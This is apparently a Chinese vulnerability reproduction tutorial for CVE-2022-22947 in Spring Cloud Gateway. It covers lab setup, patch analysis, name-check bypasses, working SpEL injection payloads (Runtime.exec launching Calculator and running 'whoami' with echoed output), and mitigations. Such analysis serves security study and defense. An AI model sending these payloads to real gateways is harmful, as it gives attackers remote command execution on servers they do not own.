通过克隆Github上已写好的环境代码。
//⚠️注意环境代码下载路径不可含有中文或空格
git clone https://github.com/Ha0Liu/CVE-2022-22947.git
使用IDEA打开我们刚刚下载的代码包,Open ---> 刚下载的文件路径 ---> Open。
通过自己手动创建工程,搭建环境。
(1)新建工程,配置好后一路next即可;
(2)分析项目的目录结构:
1、.idea文件夹中为InteliJ IDEA的默认配置文件,无其他用途,可根据自己的需求进行删除或保留;
2、src文件夹主要为整个工程的代码区域,其中包括java和resource两个文件夹,java是工程中 写java代码的区域,resource是整个工程的配置区域,Spring项目默认在java中添加 SpringApplication方法,此方法为Spring的默认启动方法,resource中默认添加application.properties,此文件为Spring项目的配置文件;
3、test文件夹为测试文件夹,可在test中测试方法;
4、pom.xml为maven的配置文件,其中包括工程所需要的依赖、配置等等;
5、.iml为maven依赖包的配置,也是默认添加的;
6、External Libraries文件夹为此工程的所有依赖包。
(3)添加maven依赖到pom.xml文件中(maven仓库中包含所有依赖详情)。
1、pom文件中会默认生成部分的xml代码,详情如下:
2、导入项目需要的依赖,其中由于此项目为SpringBoot项目所以需要导入spring-boot-starter依赖作为服务器的启动器,其次由于此漏洞为SpringCloud中Gateway网关的漏洞,风险版本为3.1.1以下的版本,所以此次我们使用3.1.0版本,进行漏洞复现,同时我们需要通过actuator接口进行监听、访问网关,所以这里我们也需要此依赖,具体内容如下:
(4)修改Spring的配置文件(路径为src --> main --> resources --> application.properties),详情如下:
1、server.port为Spring服务器的启动端口,默认为8080端口,大家可根据自己的情况进行设置;
2、management.endpoint.gateway.enabled=true为开启actuator端口检测SpringCloud-Gateway网关,默认为false,因为此漏洞需要对网关的状态进行监听等操作,所以我们需要手动将其更改为true,开启监听;
3、management.endpoints.web.exposure.include=gateway为选择服务器的网关为Gateway网关,因为此漏洞就是Gateway网关的漏洞,所以我们在配置文件中声明网关选择Gateway网关。
(5)修改新建项目后自生成的Java类(类名称一般为项目名+Application,路径为src --> main --> java --> com.xxx.xxx --> xxxApplication),详情可见下图:
(6)启动项目,详情如下图:
(7)访问http://localhost:9000,如果页面显示与截图一致,则证明环境搭建成功。
(1)首先我们看一下官方的修复补丁,differ如下:https://github.com/spring-cloud/spring-cloud-gateway/commit/337cef276bfd8c59fb421bfe7377a9e19c68fe1e ,官方在org.springframework.cloud.gateway.support.ShortcutConfigurable#getValue这个函数用GatewayEvaluationContext替换了StandardEvaluationContext来执行SPEL表达式。
由上图可以看出此次补丁,主要是通过修改SPEL表达式的解析方法,由66行可以看出此if判断语句,可以看出需要SPEL表达式需要以“#{”开始,以“}”结束,此getValue方法功能则为SPEL表达式解析,可以看出此漏洞为SPEL表达式出发的RCE漏洞。
(2)通过control+鼠标左键点击getValue字段,即可向上回溯找到org.springframework.cloud.gateway.support.
ShorycutConfigurable.ShortcutType枚举。
通过上文中的default方法可看出,调用枚举中的DEFAULT方法,方法详情如下:
default ShortcutType shortcutType() {
return ShortcutType.DEFAULT;
}
(3)向上回溯找到org.springframework.cloud.gateway.support.ConfigurationService.class#normalizeProperties()。
这个normalizeProperties()是对filter的属性进行解析,会将filter的配置属性传入normalize中,最后进入getValue执行SPEL表达式造成SPEL表达式注入。
(1)根据文档[https://cloud.spring.io/spring-cloud-gateway/multi/multi__actuator_api.html](https://cloud.spring.io/spring-cloud-gateway/multi/multi actuator_api.html ) 来看,用户可以通过actuator在网关中创建和删除路由,如下图为网关的基本构造。
(2)在IDEA中可通过actuator的mapping功能找到关于网关的创建、删除等功能接口。
(3)追踪到RouteDefinition类,发现此类为声明网关的结构内容。
(4)追踪其中的FilterDefinition类,发现Filter中有两个参数分别为“name”和“args”。
(5)追踪此name参数,发现在AbstractGatewayControllerEndpoint#save()方法中对name进行过滤,save方法为创建网关的接口,此方法调用两个参数一个是网关的id(可自定义),另一个是RouteDefinition,上文中说明了此对象声明了所创建的网关的结构内容是什么,这也就触发了此漏洞。
(6)通过打断点对isAvailable()方法进行动态调试,看看都有哪些name可以通过此过滤。
可通过如上图中的name进行绕过name校验。
(7)通过上面的分析我们就可以通过指定的“name”参数和由“#{”起始,由“}”结束的SPEL表达式进行RCE攻击了,Payload如下:
/**
*对Payload中的SPEL表达式进行讲解
*由于我们这里需要通过表达式进行命令执行所以我们需要通过T(java.lang.Runtime).getRuntime().exec()的形式调用执行命令的方法。
*由于在执行命令时需要String类型的字符串将表达式传入,所以需要对表达式进行类型强制转换成String对象。
*由于在传入表达式时需要以字节流的形式传入,所以需要调用T(org.springframework.util.StreamUtils).copyToByteArray()方法。
/
{
"id": "可任意更改(不可和之前创建的id相同)",
"filters": [{
"name": "👆上面截图中的任意name",
"args": {
"name": "可任意更改",
//此value为弹出计算器的命令(MacOS)
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}
(8)predicates无回显利用链([官网](https://docs.spring.io/spring-cloud-gateway/docs/current/reference/html/#creating-and- deleting-a-particular-route)):predicates的SPEL执行流程和filter的执行流程一致,下图为predicates的name校验匹配内容,可通过这些name对其进行命令执行,通过动态调试获取predicates的name校验机制,可根据官网中的example来构造Payload。
/**
*对Payload中的SPEL表达式进行讲解
*由于我们这里需要通过表达式进行命令执行所以我们需要通过T(java.lang.Runtime).getRuntime().exec()的形式调用执行命令的方法。
*由于在执行命令时需要String类型的字符串将表达式传入,所以需要对表达式进行类型强制转换成String对象。
*由于在传入表达式时需要以字节流的形式传入,所以需要调用T(org.springframework.util.StreamUtils).copyToByteArray()方法。
/
{
"id": "可任意更改(不可和之前创建的id相同)",
"predicates": [{
"name": "👆上面截图中的任意name",
"args": {"_genkey_0":"#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\"}).getInputStream()))}"}
}],
"filters": [],
"uri": "https://www.uri-destination.org",
"order": 0
}
⽆回显链的filters、predicates 链确实存在,且只要 filters和predicates 名字合法绕过限制,就能触发RCE。
(1)回显的原理:⽤户存储的路由定义信息存在内存中,刷新路由 spel 表达式执⾏后,会把执⾏结果写⼊路由信息⾥⾯。 通过查看路由信息 API 接⼝,就在路由信息展示中查看到 RCE 执⾏结果。
(2)通过官网的解释可一看出,对于filters的有回显的利用链中name=“AddResponseHeader”是可以触发有回显的利用链。
/**
*对Payload中的SPEL表达式进行讲解
*由于我们这里需要通过表达式进行命令执行所以我们需要通过T(java.lang.Runtime).getRuntime().exec()的形式调用执行命令的方法。
*由于在执行命令时需要String类型的字符串将表达式传入,所以需要对表达式进行类型强制转换成String对象。
*由于在传入表达式时需要以字节流的形式传入,所以需要调用T(org.springframework.util.StreamUtils).copyToByteArray()方法。
/
{
"id": ""可任意更改(不可和之前创建的id相同)",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}
(3)下面我们需要思考除了name=“AddResponseHeader”以外,是不是像无回显链那样对所有的name都可以进行有回显的rce攻击。
(4)我们使用name=“RedirectTo”,复现尝试,看是否可进行回显攻击。
发现并不能进行回显,看一下后台的日志信息,发现后台返回空指针异常。
去官网查看是我们输入的args参数与过滤器不符造成的,此过滤器中需要两个参数一个是“status”另一个是“url”,我们通过更改参数,再执行一次。
仍然返回404,但后台报错不是空指针异常了,通过看异常信息,说明 spring-cloud-gateway 是对 url 格式进⾏解析了。 也就是说相应的参数都有类型限制,⽐如 status 必须是 HTTP 状态码(枚举类型)。
我们需要另求突破点,找⼀个参数是 String 类型。
(5)我们去官网中找一下参数是String的过滤器([官网链接](https://docs.spring.io/spring-cloud-gateway/docs/current/reference/html/#the- removerequestheader-gatewayfilter-factory[)),比如RemoveRequestHeader过滤器只需要传入一个String类型的name字符串,这样我们就可以构造一个SPEL表达式作为name的值。
下面我们就可以构造Payload进行尝试,发现可以回显。
可以看出在Filters的有回显的利用链中,不仅仅对name有过滤,对其中的args参数也有一定的要求,但可以通过构造不同的过滤器对其限制进行绕过。
(6)predicates的有回显利用链中挖掘路线和Filters的挖掘思路一致,通过官网中的参数类型和参数内容进行筛选,找出符合执行SPEL表达式的过滤器,就可以执行有回显的RCE了。
(7)predicates中可通过name=“Cookie”,进行命令执行,通过官网的参数参考进行构造。
构造Payload进行尝试,发现可以回显成功。
predicates回显链确实存在,不光对 args 参数名称有限制,并且对参数对应的类型也有限制。同时还有对参数完整性也有限制。
在有回显利用链中,Spring不仅对过滤器的name进行过滤,对args的参数类型、参数个数也有对应的限制,可通过查看官网中的过滤器详情进行判断是否存在可利用链。
1、无回显利用链
(1)首先需要创建一个网关,发送一个POST请求,并构造恶意的Payload。
(2)刷新网关。
(3)获取网关信息,发送GET请求,请求刚刚我们创建好的test网关,弹出计算器。
(4)删除网关。
2、有回显利用链
(1)首先需要创建一个网关,发送一个POST请求,并构造恶意的Payload。
(2)刷新网关。
(3)获取网关信息,发送GET请求,请求刚刚我们创建好的hacktest网关,回显“whoami”成功。
(4)删除网关。
1、临时修复方案:
(1)如果不需要 Actuator端点,可以通过如下配置将其禁用。
management.endpoint.gateway.enabled=false
(2)如果需要 Actuator 端点,则应使用 Spring Security 对其进行保护。
2、官方升级补丁:
官方已发布安全版本:
3.1.X 版本用户及时升级到 3.1.1+
3.0.X 版本用户及时升级到 3.0.7+